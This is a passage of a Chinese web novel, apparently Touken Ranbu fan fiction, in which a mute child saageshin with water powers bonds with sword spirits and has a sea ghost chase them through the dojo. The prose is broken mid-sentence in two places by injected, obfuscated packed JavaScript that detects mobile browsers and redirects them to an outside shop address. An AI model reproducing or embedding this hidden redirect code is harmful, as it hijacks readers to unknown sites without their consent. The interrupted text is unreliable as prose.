笑面青江五体投地,面色惨白,双目无神地大口喘着气,半天没有缓过神来;歌仙兼定双手撑着地面,呼吸有些急促;烛台切光忠倒在地上,吃痛地摸着自己的腰;石切丸和山姥切国广模样是最完好的,他们状态还不错,只是石切丸里手中还拿着御币,以及一个空了的盐袋。 水妖得到命令,朝天空发出一声咆哮,随即脚下出现黑色的水流,他们一点一点融化在水流之中,最后消失不见。 等到所有的异象全部消失,本丸重新恢复了往日的平和。 我回头看向黑漆漆的会客厅,那里的灯已经修好了,有明亮的灯光透过纸门照在地上,本丸的电力系统也完全恢复,驱散每个角落的阴影。 “走吧,吃饭去。”我朝三日月宗近露出一个很乖的浅笑,嘴角边陷下去两个小梨涡,“三日月,我玩累了,你可以抱我吗?” 三日月宗近笑了好几声,弯下腰,一只手就将我稳稳托起。 “谨遵主命,朝歌大人。” 17.一个副本 这次的黄昏也平稳度过,但鹤丸国永无法忽视也不能忽视狐之助在暗地里做出的手脚。 趁着审神者去休息的间隙,他迅速锁定了狐之助的位置,并将它从角落李揪出来,眼神不善地盯着它。 “你这家伙,时之政府的本意应该是想让审神者和付丧神友好相处吧,你这是怎么回事?”鹤丸国永伸出食指猛戳狐之助脑门:“髭切受伤严重,你指望被伤害的审神者帮他进行治疗吗?直到髭切被审神者大伤,其他付丧神又会怎样想?你到底是什么目的?” 狐之助被戳的吱呀乱叫,他连连解释:“鹤丸大人,鹤丸大人,时之政府当然是希望各位可以友好相处的,但是现在的进度实在太慢还有几周的时间各位就要出阵了大人们也是想要用最快的速度获得最好的效果……” “你用这种方式!”鹤丸国永是想气势汹汹找狐之助错处的,但是听它这么说,深想下来,好像在今晚之后,审神者确实获得了大部分刀剑的认同。 刀剑们一开始的想法是不牵扯到新任审神者,只要新来的这位大人不骄傲自大,以为自己什么都能做到,他们就能通过各种方法将审神者与付丧神剥离开来,这个本丸最后的结局将会是静静地消失在时间与空间之中。 可在接触过审神者之后,小短刀们与审神者感情逐渐建立起来,部分刀剑对审神者的评价也发生了改变,只剩下打定主意不与审神者接触的付丧神还蒙在鼓里,打心底里对审神者的力量与为人有所质疑。 而今晚无差别的恐怖袭击席卷本丸,所有人都见识到了审神者的力量,难免会有人会产生“这位审神者一定可以救回我的同伴,救回本丸”这样的想法。 一个拔刀许可,鼓励了性格激进的付丧神,激怒了并不记仇的审神者,带动了整个本丸与审神者之间的联系。 鹤丸国永捏着狐之助后颈的手忍不住一紧,给狐之助疼得嗷嗷叫。 “如果审神者真的生气了呢?你就不怕她真的把付丧神抓起来折磨,真的不怕她彻底破坏本丸?”他问。 狐之助的尾巴无力地垂下,它说:“审神者大人的副本是三天一周期,不管有怎样的深仇大恨,当副本重启之后,所有的一切将会清零。而且就算出现了最坏的情况,时之政府也不会让大家出事的。” 鹤丸国永:“……” 他想到了昨天将髭切从重伤状态极限拉回来的白山吉光。 时之政府,这一群老狐狸。 鹤丸国永松开手,狐之助迅速跳回走廊上,拉开了与鹤丸的距离。 他那双金色的眼睛冰冷地看着狐之助,开口道:“如果审神者知道自己亲手唤醒的刀剑只是你们派来的一个工具,你们会完蛋的。” 青年付丧神的表情和语气都充满了压迫感,狐之助忍不住有些身形发颤,说话的声音都在抖:“白山对审神者大人绝对忠诚,一切都是为了本丸的未来。” 狗屁未来。 鹤丸国永心想,每一步都是利用和算计,还想有什么未来。 狗贼时之政府,迟早要完蛋。 …… 好像暂时也不会完蛋的那么快。 ——审神者对昨天晚上髭切砍了她一刀的事情根本就没什么印象了。 面对髭切的道歉,孩童模样的审神者面露疑惑,迷茫地歪了歪脑袋。 今天不知道谁给她头上夹了一朵小花发卡,她歪头的时候,小花发卡上的花就会像呆毛一样倒下。 往左边歪头,小花就会往左边倒下,往右边歪头,小花就会往右边倒下。 鹤丸国永和三日月宗近同时捂着胸口,脸上的表情也是如出一辙软乎乎的。 ……好可爱。 髭切作为当事人,虽然也有一瞬间被可爱审神者的外表所迷惑,但是他记得很清楚,昨天那“哈哈哈”发出狂笑的也是审神者本人。 他还不至于昨天晚上刚被审神者打到半死不活,今天就相信“可爱既正义”。 思来想去,他只能得出一个结论—— 审神者有人格分裂。 是叫人格分裂吧?听说过人类是有这种疾病来着。 真可怜,年纪轻轻就得了这么严重的病,这种病还有的治吗?是不是得放生回人类的世界,让人类的医生给她治病? 不知道面前的几个青年付丧神到底在各自脑补一些什么东西,他们每个人的表情都不一样。 我看了看三日月,又看了看鹤丸,再看了看髭切。 他们真奇怪。 唉,不过什么都好,我不想他们几个过于高大的男性堵在我的这个小房间里,看着都不舒服。 于是我的头上冒出水泡:[还有什么事吗?] [没事的话就出去,让歌仙进来。] 今天的近侍是歌仙兼定,也是他帮我把一部分头发扎起来,还给我夹了个漂亮的小发夹。 通过这几天近侍的轮番照顾,我也知道了近侍就是每天都会有一位付丧神成为审神者的贴身侍从。 就跟人类教师的课代表或者是班主任的小班长一样,还是轮换制的小班长,每个人都有做小班长的机会。 歌仙兼定是个很好的刀剑付丧神,又漂亮,又优雅,又温柔,身上还总是香香的,我对他并不排斥,他今天总是眼睛亮亮地来抱我,我也愿意让他抱。 这几个付丧神怎么还不出去,我还等歌仙兼定来抱我去骑马玩呢。 髭切的视线上移,一直盯着那个还没消散的水泡,疑惑地问旁边的鹤丸和三日月:“审神者这是……” 鹤丸国永沉痛地点点头。 三日月宗近也叹了口气:“朝歌大人不能言语。” 这……竟也不能说话吗? 髭切目光悲悯,感觉自己昨天晚上真是有点冲动了。 他低下头,诚恳道:“既然朝歌大人已经原谅了在下,那么在下便不再打扰,还请朝歌大人好好休息。” 三位付丧神一起离开了房间,代替的是歌仙兼定重新回到了身边。 想象中的激烈争吵没有出现,意见不合也没有出现,严厉体罚更是不存在。 歌仙兼定伸手帮我理了理乱了的鬓角,问:“朝歌大人真的不怪髭切殿?” 得到了我肯定的回答,他又问:“但听说,您昨晚很生气?” [在我眼里,那只是一个开始游戏的信号。] [既然要玩,就尽兴些。] 我对歌仙兼定耐心解释,这一串水泡消散后,我又伸手摸了摸他的脸:[而且,你也没记我的仇。] 歌仙兼定愣了愣,又眨了眨眼睛,故作生气地双手环胸,说道:“不,我很记仇,也很不开心。” 我想了想,伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312648|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一根食指:[那我们一起去骑马?] “不要。” [真的不去吗?] “……要去。” 歌仙兼定将我高高举起:“现在就去吧。” 他还是心软了,歌仙不想拒绝可爱的审神者。 但其实关于昨天晚上鬼怪的攻击,歌仙当时是有怨言的。 有没有吓到另当别论,他可是真的被按进水池里,结结实实体验到了窒息的痛苦。 只是在痛苦的恍惚间,他好像听见了有人用很冷淡的声音命令了一句“住手”。 按住自己脑袋的那双手在这两个字出现之后立刻失了力道,紧接着,有一双柔软却冰凉的手掌拖住了他的脸,让已经脱力的他有了恢复的时间。 那双手掌,和现在审神者这只手掌的感觉是相同的。 在昨天那种兵荒马乱中,朝歌依旧有在关注他,明明没有什么交集,他总共也没和朝歌说过几句话,但她在自己痛苦的时候救了自己。 所以,朝歌并没有表现出来的那样冷漠与不在意,她其实也在渐渐放下对付丧神的敌意,对每位付丧神都很心软。 朝歌……是个好孩子。 本丸靠近湖泊的地方有着很大的一块平原。 时之政府创造的这一方空间很神奇,只要灵力充足,本丸想建多大建多大。这一片草原也是在我接手本丸之后出现的,付丧神们暂时没有利用它做些什么的打算,正好可以用来遛马。 小云雀比我几天前看到的要更健壮,它高高昂起脑袋,自信地在我面前展示着自己反光的毛发,健壮的肌肉,和有力的马蹄。 我忍不住发出惊叹。 哇,好帅气的一匹马,好骚包的一匹马。 今天轮到鲶尾藤四郎清扫马棚,少年模样的付丧神帮忙将尽情在我面前散发魅力的小云雀牵出来,交到歌仙兼定手上。 他叮嘱道:“最近马儿马草都吃得好,力气比较大,歌仙殿下带着审神者要小心一些哦。” 歌仙兼定笑着应下:“好,放心吧。” 他干脆利落地翻身上马,一手抓着缰绳,另一只手将我捞上马背,环在自己胸前。 背后靠着香香的付丧神,面前是豁然拔高的视野,我以新的视角看着前面的风景,不免觉得稀奇。 前方一片开阔,是一望无际的绿色平原,有清风吹过时,平原上长得高高的草就会如同波浪,一层又一层地荡漾。 歌仙兼定将我锁在怀里,叮嘱我别乱动,双腿轻轻一夹马肚,小云雀就听话地往前跑起来。 马儿跑着,我在马背上会感觉有些颠簸,但是当适应了这种颠簸,歌仙兼定速度加快后,我所感觉到的就是扑面而来的风,像是背后长了翅膀,自己变成了小鸟,飞快地在草地上低空飞行。 我张开双手,第一次不依靠自己的力量感受速度。 歌仙兼定让小云雀奔跑起来,并低头问我:“朝歌大人觉得好玩吗?” 我抬起头,一双深邃的蓝色眼眸亮晶晶的,正对上歌仙兼定的眼睛,肯定地点点头,发夹上的小花也跟着一起晃了晃。 就是这样一个瞬间,歌仙兼定仿佛胸口中了一箭。 他捂住自己的胸口。 真的……好可爱。 歌仙愿意抱着审神者就这么在草原上跑三天三夜。 18.一个副本 昨天和歌仙一起玩了很久,我睡的晚,今天起的也很晚。 前几天都有付丧神来我房间准时报道,乱和歌仙还会帮我打扮,给我扎头发,帮我夹发卡,可现在已经都快要到吃午饭的时间了,我还不知道今天的近侍是谁。 从床上爬起来,我打着哈欠去开门,想先去最近的厕所洗一把脸。 这都要怪都怪付丧神们奇怪的习惯养成。 我之前起床都不会洗脸的,但自从来了本丸,每位付丧神把我喊起来的第一件事就是让我洗脸刷牙。 导致现在监督我的付丧神都不在,我都下意识去洗了把脸,甚至等我回过神来,我嘴里已经含了把牙刷了。 我一边刷着牙,一边在心里吐槽,我嘴里又不会长细菌,更不会得蛀牙,刷牙干什么呢?我的脸上不会分泌油脂,也不会沾染灰尘,洗脸干什么呢? 不知道,但是如果我不洗脸刷牙,付丧神就会变得很唠叨很唠叨。 漱完口将牙刷随手丢进杯子里,水流组成的小手掌拧开比我人高的把手,拉开门后又迅速消失。 我全程手抄在袖子里,面色如常地走出厕所,恰巧与不知道什么时候站在走廊上的和泉守兼定对上了视线。 容貌俊美的青年付丧神就站在不远处,他目瞪口呆地看着我,呆滞地用手指着我背后那扇门:“门、门……门自己开了……” 嗯?怎么是这个反应? 我在鹤丸面前用水流开门的时候,他反应可没那么大。 就好像只是看见了一件再正常不过的小事,压根就没在意。 原来没有亲手开门,门却自己打开了,会有人露出这么震惊的表情吗? 原来怕灵异事件啊,胆小的付丧神先生。 绝佳的坏点子源源不断地浮现在脑海中,我嘴角上扬,笑得有些阴险。 在和泉守兼定的视线从门板上挪到我身上之前,我调整好脸上的表情。 一双湛蓝的眼睛清澈干净,嘴角的弧度标准,我无辜地看着他,迷茫地摇摇头,表示不知道他在说什么。 “……没有吗?”和泉守兼定见我摇头,迟疑道:“可我刚刚明明没看到你开门……难道是我看错了?” 我朝他无声地笑了笑,从袖子里掏出一颗昨天歌仙给我的糖果,放在他的掌心中,并轻轻地拍了拍他的手臂,像是在安抚。 “……”和泉守兼定抿着嘴角,白皙俊秀的脸颊微红,那枚糖果在指尖碾了碾,然后扭扭捏捏地将其收起来,说:“知道了,是我看错了,我没事,也没有害怕,你不用这样。” 说完这句话,他顿了顿,又道:“我是今天的近侍,你有想做的事情吗?我陪你。” 哦,原来他是今天的近侍。 我好奇地看着这位只有一面之缘的貌美付丧神,上次见面是夜晚,他对我的敌意远不如髭切那样浓烈,我也没将心思放在他身上,现在仔细一看,才发现他长得也很好看。 虽然男性有着一头乌黑如同瀑布的长发,偏秀气的长相,但给人感觉一点都不女气,有着不错的男子气概,这种反差有很好的给他增添不少魅力。 要论样貌,本丸里的付丧神们都有着不错的皮囊,可要说最吸引人的,还要数他们独具特点的内在了吧。 这个也喜欢,特别是他还怕灵异事件,我更喜欢了。 我对他说:[你今天来晚了。] 和泉守兼定的视线在我脑袋上冒出的对话框停留了很久,好不容易移开目光看向我的脸,却又不受控制地向上挪去,直到对话框消失。 他说:“我可是准时到的,只不过没有进你的房间而已。” 说这句话的时候他底气不是很足,总感觉在心虚地隐瞒什么。 “你都已经这么大了,我总不可能随便进女生的卧室。”和泉守兼定声音变小,小声嘀咕:“……谁知道你这么能睡,到中午了才睡醒。” 能睡?能睡是福,他真是一点都不懂。 我不与他计较,继续往前走,想重新回到房间去换掉身上的睡衣。 和泉守兼定见我没理他,转身默默跟在我身后,又道:“你前天不是还能说话吗?今天怎么用这么奇怪的方式和我对话?” 我没有回答这个问题,只是往前走着。 “你早上也没吃东西,不饿吗?”和泉守兼定问:“都快中午了,我帮你端午餐上来?” 我停住脚步,他错不急防地一顿,差点撞到我身上,还好反应够快,及时稳住平衡,这才没闯祸。 我说:[你在付丧神中,人缘不好吗?] 和泉守兼定:“?” 什么意思? 什么叫你在付丧神中人缘不好? 有谁偷偷在审神者背后说他了? “审……” “啪。” 话没说完,纸门却关上了。 和泉守兼定蹙起眉头。 脾气果然还是很差,不知道哪里就得罪审神者了。 亏他还一大早就来了天守阁待命。 虽然因为前天和审神者起了冲突不敢进门,但他确确实实是在审神者房间门口蹲点许久。 ……所以他到底哪里惹到审神者了? 和泉守兼定双手撑腰,懊恼地转过身,靠在走廊扶手上。 突然他余光扫见加州清光抱着脏衣篮从前院路过,立刻扬声道:“清光!” 加州清光闻声抬头。 看见是和泉守在楼上,他空出一只手来,笑着挥挥手回应:“是和泉守殿下,今天您是近侍吗?怎么在那儿站着,审神者还没起床?” 和泉守兼定:“说来话长!……你等我一下。” 他从二楼一路跑下去,抓住加州清光的手腕,将他往隐蔽的地方拉了拉。 加州清光连忙用一只手稳住衣篓,不解地看着他。 不知道审神者什么时候会出门,和泉守兼定压低声音,抓紧时间,直截了当地问道:“审神者是什么情况?” 加州清光疑惑歪头:“怎么了?” “她怎么说话是直出对话框的?” “啊……这个,审神者大人不是自愿来到本丸的,似乎她的家族为了让她顺从在本丸任职,对她加之了一些限制。她是个可怜的孩子,舌头与脏器都被拿走了。” 加州清光说完这些,忍不住叮嘱道:“和泉守殿下还请对审神者大人包容些。” 和泉守兼定:“……不早说。” 怪不得三日月和鹤丸总是强调审神者不想留在本丸,她的父母为了逼迫她来,居然能做出这种混账事。换句话来说,这个本丸是导致她承受痛苦的元凶,而本丸里的付丧神每一个也都脱不了干系。 ……虽然也不是他们要求这位审神者来任职的,但总归来任职的小屁孩被迫遭受了这样的痛苦,作为参与其中的人,总归有些内疚。 事出有因,审神者对他态度差点,他也倒能理解了,而且和泉守第一次见到审神者的时候还对她动了手,她要是依旧能对自己轻声细语满面笑容,那才真叫奇怪。 再稍微了解了一些审神者的情况,和泉守兼定重振旗鼓,再一次站在了审神者的房门前。 他礼貌地敲了敲房门,门内没有传来回应,这是理所当然的,因为审神者无法说话,所以是两只很小的手掌将纸门拉开,和泉守兼定没有看见,又被吓一跳。 这次他是真的没有看错,门真是自己开的。 和泉守兼定咽了咽口水,稳住心神,一只手按在刀柄上,小心翼翼地走进了审神者的房间。 房间里开着窗户,有温暖的阳光照射进来,洒在窗帘上,洒在木质地板上,也洒在窗前的办公台上。以窗为画框,可以看见外面一望无际的湖泊,还有绿到层层叠叠的草原,以及天空中缓慢漂浮着的白云,是非常美丽的自然美景。 以这幅美景为基调,房间里的布局就算和之前差不多,也会比印象中的多了许多明媚与意境。 [有事吗?] 一个对话框弹到和泉守兼定的脸上,冰冰凉凉的,他费力将对话框推开,转头在幛子旁边看见已经换好衣服的审神者。 小巧一只,像个小手办似的。 青年付丧神半天没说话,我疑惑地又往他脸上弹一个对话框:[?] 怎么是个傻的? 和泉守兼定被问号砸中,回过神挥开对话框,说道:“如果审神者今天没有想做的事情的话,要不要先随便在本丸里逛逛?” [去哪儿?] “您好像一次都没有去过手合室,偶尔去看看付丧神们挥洒汗水的锋利模样,也是很不错的。” [手合室?] 我好像只看到过手入室,因为粟田口的药研总是一副医学博士的模样,偶尔身上也会穿着白大褂,据说临时担当本丸医生的角色,他经常会待在手入室,要是有谁身体不舒服,他还会给刃开感冒药。 “嗯,去了就知道了,请跟我来。” 和泉守兼定率先在前面带路。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17325027|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得还挺新奇的。 其他付丧神都基本是以我的意见为先,如果我今天哪里都不想去,他们就会陪我在房间里,如果我今天有出门的兴致,他们就会提出建议今天可以做什么,但一定会等我同意后,再去一起完成这件事情。 和泉守兼定不是这样的,他有很多自己的想法,而且也勇气去做出决定。 这种果断并非决断,他能判断出这件事情可以做,或者不可以做。 不过,虽然我很欣赏他的主见,但我不喜欢和泉守的不识时务。 [你走的太快了。] 一行字出现在和泉守面前。 青年付丧神低下头,看着我,说:“我已经用最慢的速度在走了。” [太快。] 和泉守兼定深吸一口气,蹲下来,与我面对面,无奈道:“那怎么办?” 他好像觉得我在故意为难他。 怎么能是为难呢?要换做鹤丸他们,肯定知道现在应该怎么做的。 可惜和泉守是个呆瓜,都这样说了,还需要我提醒。 我朝他伸出手,[抱我。] 和泉守兼定一愣,脸上迅速浮现一片薄红,视线偏移,迟疑问:“……可以吗?我不太会抱小孩。” 我伸出的手没有收回,和泉守只在心里挣扎了几秒,最后将我揽在怀里,将我稳稳抱起来。 可以感觉到青年付丧神现在很紧张,他的胸口起伏很缓慢,抱住我的手臂肌肉也很僵硬,看得出来他没有拥抱的经验,抱着我站起来都小心翼翼的,好像生怕太过用力会不小心让我碎掉。 我的双手圈住他的脖子,身体也完全依靠着他怀中,和泉守兼定整个人硬如僵尸,走路都走的像年久失修的机器人。 好不容易磨磨蹭蹭下了楼,和泉守兼定适应一些了,他又怕我会从他胳膊上掉下去,总是会用一只手虚扶着我的背。 我才不管,只是安安静静地坐着,一路被他抱着来到一座单独的建筑内。 如果要形容的话,手合室和现实世界的道馆一样,空间非常大。 纸门虚虚地关着,一拉就能拉开。 现在这个时间已经有今日收合的刀剑在切磋,我先是看了看整个手合室的环境,视线略过武器架上整齐放着的木质刀剑,最后才看向道场正中间用木刀打得有来有回的两位付丧神。 其中一个是烛台切光忠,另一个有些眼生,是个拿着长.枪的墨绿色运动服的阳光健气型青年。 我拉了拉和泉守的衣服,指着那位拿枪的付丧神。 和泉守会意地介绍道:“那位是御手杵,使用的武器是枪,本丸还有几位枪化形的付丧神,有机会您应该会遇见的。” 我点点头,继续看他们切磋。 两位付丧神在切磋时全神贯注的,谁都没有放手,使用的都是很长的武器,速度却很快,招式也不缺力度,木刀碰撞在一起发出“啪”、“啪”的响声,也能听到他们错落的脚步声和发力时的吼声。 和泉守见我看得认真,于是将我放下,顺便问了句:“感觉怎么样?” 我双手环胸,回答道:[很凶猛的打法,但同时又具有观赏性,多看一会儿也不错。] “是吧?”和泉守感觉搭在自己肩上的手慢慢在往下滑,下意识往上扶了扶,继续说:“一个人的刀法最能看出他的为人与性格,也是快速了解对方的捷径之一。” 是的是的,喜欢正面硬刚的玩家会优先选择狼人血统,手里拿着把大剑,轮起来和大风车似的。 喜欢苟在暗处的玩家会优先选择隐匿天赋,武器选择匕首,蛰伏隐藏在暗处,等待着最佳的机会给予首领致命一击。 玩法倾向很容易暴露一个人的性格。 我对那边的武器架有点兴趣,沿着角落,避开切磋的两位付丧神往武器架的方向走去。 和泉守兼定想跟在我身后保护我,却突然意识到什么,目光呆滞地看着对方走远的身影,手指颤抖着,摸了摸自己的肩膀。 有手。 不是审神者……那是谁? 和泉守兼定低头一看,那是一只纤细修长,皮肤惨白,手指甲呈淡蓝色,又尖又长,根本就不是人的手。 “……” “!” “啊啊——!” 和泉守兼定发出了惨叫。 这是什么啊! 哪儿来的手啊! 这只手什么时候开始出现在他身上的!它到底摸了他多久啊!!!! 19.一个副本 和泉守兼定的惨叫声打断了场内两位付丧神的切磋,他们停下来,不约而同地看向门口。 两双眼睛先是看到和泉守面色惨白,猛拍自己的模样,余光扫到审神者的背影,注意力立刻被审神者吸引了过去。 我站在武器架前,抬头看着那一把比一把长的木刀,最后目光回落,我拿起了一把短刀。 “审神者对刀感兴趣吗?” 青年陌生的声音在我斜后方响起,我侧头看过去,御手杵不知道什么时候蹲在了离我很近的位置。 下了战场的御手杵穿着绿色运动外套就像是玩家口中说的青春男大,脸上还沾着汗珠,完完全全就是阳光小狗。 他见我看过去,朝我露出了一个笑容:“要不要学?” 有点意思,想让我学刀法吗? 我不会什么刀法,但我有主神输入的反制程序。换句话来说别人攻击我的时候,我会根据对方的攻击,自动生成防御与反攻击的代码。 这些代码大部分时间已经很够用了,反正我又不用先手,只有靠近我并攻击我,我才会亮血条。 玩家把这个叫做——开BOSS。 我将短刀放回去,身后的水流汇聚成手臂,从武器架上拿下一把薙刀,笑脸盈盈地看着他。 御手杵眼睛微微瞪大,忍不住发出一声惊呼:“哇哦!” 审神者会开须佐能乎! 我说:[来。] [试试。] 御手杵的好战因子在身体里沸腾,他手里的木制长枪挽了一个漂亮的花,脚下步子稳健,枪尖指着我,“三名枪之一,御手杵!要上了!” 不算锐利的枪尖探头如龙,势头十足,水色的手掌将薙刀抡满,借力打力,将他逼退。 我上前几步,刚好与他重新站在了道场中心,水色手掌乘胜追击,利用薙刀刀尖的重量,大开大合,每次回旋斩都将御手杵的长枪挡在外头,完美化解枪尖的突刺。 木制刀剑相撞的声音在这间空旷的场馆中格外突出,烛台切和和泉守目不转睛地盯着两个人的动作。 比起御手杵使用长枪的娴熟,招式的连贯,突刺的凶猛,审神者没怎么动过,全靠那对手掌的力道,以及攻击来到面前后的应对反应。 从那把薙刀中,完全看不出刀法,只有如同野兽一般的本能反应。 这样下去,肯定会被御手杵抓到机会的。 果然。 场上战况瞬息万变,刚刚还平分秋色的招式对决,在御手杵抓到一个破绽后撕开了局面,水色手臂被长枪打出瞬间的僵直,而趁着这个间隙,长枪停在了我的眉心,再进一步,这把木头做的东西,就会将我的脑袋捅个半穿。 我眨了眨眼睛,看着御手杵。 好厉害,我打不过他诶。 “哈哈哈哈哈,真是让我大吃一惊了,审神者居然有这样的实力。”御手杵将长枪收回,顺手抗在肩上,笑道:“审神者在战斗上很有天赋,像是一块未经雕琢的璞玉,如果能好好学习,长大后肯定能成为很厉害的武士!” 听到这番夸奖,我很高兴地眯起眼睛笑起来,御手杵实在是没忍住,伸手在我头上摸了摸,将我的头摸得东倒西歪,他说:“我可以教审神者枪法,适当锻炼还可以强身健体,要学吗?” 和泉守一把将我捞过去,水色的手掌消失,薙刀也掉落在地板上。 青年付丧神抱我抱得很熟练了,他将我护在怀中,用理所当然的语气说:“要学也是学刀法,我可是今天的近侍。” 烛台切右手握拳,放在唇边咳了咳:“要是审神者大人想学,我也能教。” “学突刺!” “学打刀!” “学太刀。” 三个大男人为了能培养出一个世界第一武士而你争我抢。 这个时候,我的眼前晃晃悠悠飘过一只蝴蝶,顺着它的来处看去,我看到道场的窗外斜斜地探出一根枝丫,上面开了很多粉色的花,还有几个花骨朵含苞待放,只含蓄地开了个口。 这么好看的风景,耳边的声音却如此聒噪,真是煞风景。 “哒。” 有轻微的响声出现在角落。 三位付丧神听力敏锐,在轻响出现的那一瞬间就停止了交谈,他们表情警戒,脸上都没有笑意,齐齐往手合室的角落看去。 那里趴着一个黑色头发的女性。 她的头发如同海藻一般披盖在背上,发丝下的那双眼睛空洞无神,写满了阴郁与怨恨,她与三位付丧神对上视线,手臂弯曲着,一步一步从满是阴影的角落爬出来。 “帮……帮我……” “我的腿……” 和泉守兼定:“!” 烛台切光忠默默朝我投来视线:“……” 御手杵没见过这东西,浑身一抖,握紧了手里的长枪,惊疑不定地呵斥一声:“什么人!” 和泉守兼定:“那是鬼!鬼!” “胆敢光天化日下装神弄鬼!”御手杵摆好架势:“看我突——” 没了腿的海妖突然发出凄厉的尖叫声:“啊啊啊啊!!!!” 御手杵僵在原地,气势都弱了几分。 “我的腿,我的腿!都怪人类!人类都该死!”海妖的声音愈发尖厉,露出腐烂的一张脸,断了的腿上似乎也有蛆虫在蠕动:“死!该死!都该死!” 她飞快地用两只手在地上爬着,腿虽然是没有人,但是移动速度仍旧很快。 和泉守兼定脸都青了,他率先惨叫一声:“大白天闹鬼啊!” 紧接着是御手杵:“真是鬼啊!!” 女海妖转眼间就爬到了面前,一股腥臭味扑面而来,烛台切光忠真是要吐了,他扭头就跑:“我先走一步。” “不是!你怎么就先走一步!喂!等等我们啊!”和泉守连带着我一起扭头狂奔。 御手杵真是没招了,他跟在我们后面跑,高声道:“我们三个人里只有你带了刀,和泉守先生!你快去迎敌啊!” “我迎敌!”和泉守回头看了一眼在后头穷追不舍的海妖,眼睛一闭,速度又更快了:“我很想去迎敌!但是我做不到!” “上战场是我们的宿命!怎么可能会做不到!” “难道你就能做到了吗!” 御手杵也回头看了一眼,也闭上了眼睛,两条腿跑得飞快:“不行!” “那就什么都别说了!” 海妖的头发缠在梁上,然后狞笑着如同导弹一般弹射下来,差点就抓住了御手杵的衣角。 “啊啊啊啊啊啊!她怎么、她怎么!” “这哪是人啊!” “她本来就不是人啊!” 我被和泉守夹着,安静地像是一面迎风飘扬的小彩旗。 海妖在后头穷追不舍,我还是第一次见到她在白天跑得这么潇洒,跑得这么肆意,和昨天在草原上的小云雀一样,狰狞的那张脸上全都是兴奋,追人还给她追上头了。 我就说嘛,追逐战,是咱们恐怖副本刻在代码里的程序。 哎呀…… 现在这不绝于耳的惨叫声,才是真正动听的旋律。 我咧开嘴角,心情愉悦地与海妖交换了一个眼神。 心领神会的海妖从一处走廊穿插过去,不知道怎么走的,居然正正好堵在了三个人的去路。 烛台切一个紧急刹车,和泉守和御手杵差点没栽在他身上,两个人还没来得及埋怨烛台切的急刹,一抬头就看到了正前方一脸狞笑的海妖。 海妖长发下的眼睛散发着阴森森的幽光,手往前面爬了两步,三个人整整齐齐地往后退了两步。 在这种短暂的对峙之后,海妖“嘿啊哈哈哈哈”地扑了过来,烛台切三人倒吸一口凉气,急忙掉头,重新开始了一轮追逐战。 嘿嘿。 真好玩。 …… 手合室这边的追逐战也没玩多久,海妖刚到新环境比较兴奋,第一次把笑面青江吓得不行,第二次又追着三个付丧神到处乱窜,她玩得不亦乐乎,我却没有足够的力量能让她一直现身。 真是可怜崽崽,难得她那么高兴呢。 力量多花了一些,心脏跳动得有些慢,心肌供血不足,我打了个哈欠,乖乖地窝在和泉守兼定的怀里休息。 和泉守兼定头发都跑乱了,他另一只手扶着墙,整个人气喘吁吁地,还不忘把往下滑的我往上兜一兜,烛台切和御手杵也累够呛,他们擦掉顺着下颚线流下来的汗珠,御手杵更是跪倒在地上,大口大口地呼吸着。 “她、她没再追来了吧?”御手杵真不行了:“她再追,我、我就去拿枪了。” “她不见了。”烛台切缓了口气,说道:“普通的刀剑对鬼好像没用,听青江说,他上次砍了她好几刀,完全砍不动。” 和泉守浑身一震:“真的假的,就连青江都不行吗?” 烛台切沉默半晌,脑海里浮现出前天遭遇的灵异事件,喃喃说:“也许撒盐真的有用呢。” 之前就是石切丸一遍撒盐,一边拿着御币嘴里念叨着“恶灵退散、恶灵退散”,然后那只水鬼才消失不见的。 御手杵一屁股坐在地上,见我十分安详窝着的模样,有点想叹气,又有些想笑:“审神者胆子好大,被那样的鬼怪追着跑,脸色都没变一下。” 烛台切:“……” 如果他现在说,那只海妖就是审神者召唤出来的,御手杵会很崩溃吧。 不过,非异化状态下,审神者居然也可以随意调动海妖吗? ……明明最开始审神者与本丸签订契约时,还因为灵力不足而晕倒过。后来鹤丸更是确认了,审神者失去了许多器官,包括心脏,她完全是凭借着自身力量模拟出了器官的运行,才得以存活到现在。 如果换做是普通的人类失去这些身体部件,人早就死了,根本不可能像她这样活蹦乱跳。 这足以说明审神者的灵力是怎样的强大,同时也让知晓内情的付丧神无比惋惜。 ——时之政府确实送来了一位天才审神者,如果是她来完成本丸的任务,也许绝对不会有失败的可能,甚至还可以将那些流落在副本里的刀剑一一找回,让本丸重新回归完整。 可,时之政府用这样的手段牵制她,审神者怎会愿意呢? 粗略算算,审神者来本丸已经有小半个月了,她在异化的时候恨不得将整个本丸都拆个精光,又怎么会愿意帮他们呢? 或许…正是因为知道审神者不愿意,鹤丸和三日月才迟迟没有与审神者进行进一步的商谈吧。 和泉守泄愤似的捏住我脸上的软肉,一开始力道十足,后来接触到那软乎乎的触感,忍不住放轻了动作,嘴上却还是凶巴巴的,咬牙切齿说:“有我保护,审神者还怕什么?带着这么小累赘,我跑都跑不快。” “怎么能说审神者是小累赘呢?”御手杵提议道:“和泉守先生要是抱不动了,可以换我来。” “我才是今天的近侍!” “只有近侍才能抱审神者吗?” “我又没说我不愿意。” “……好吧。” 御手杵看出来了,和泉守只是单纯的嘴上嫌弃,事实上他根本就不想把审神者放下来。 “不过,审神者是不是有些太没精神了?”和泉守的手放在我腋下,将我高高举起来。 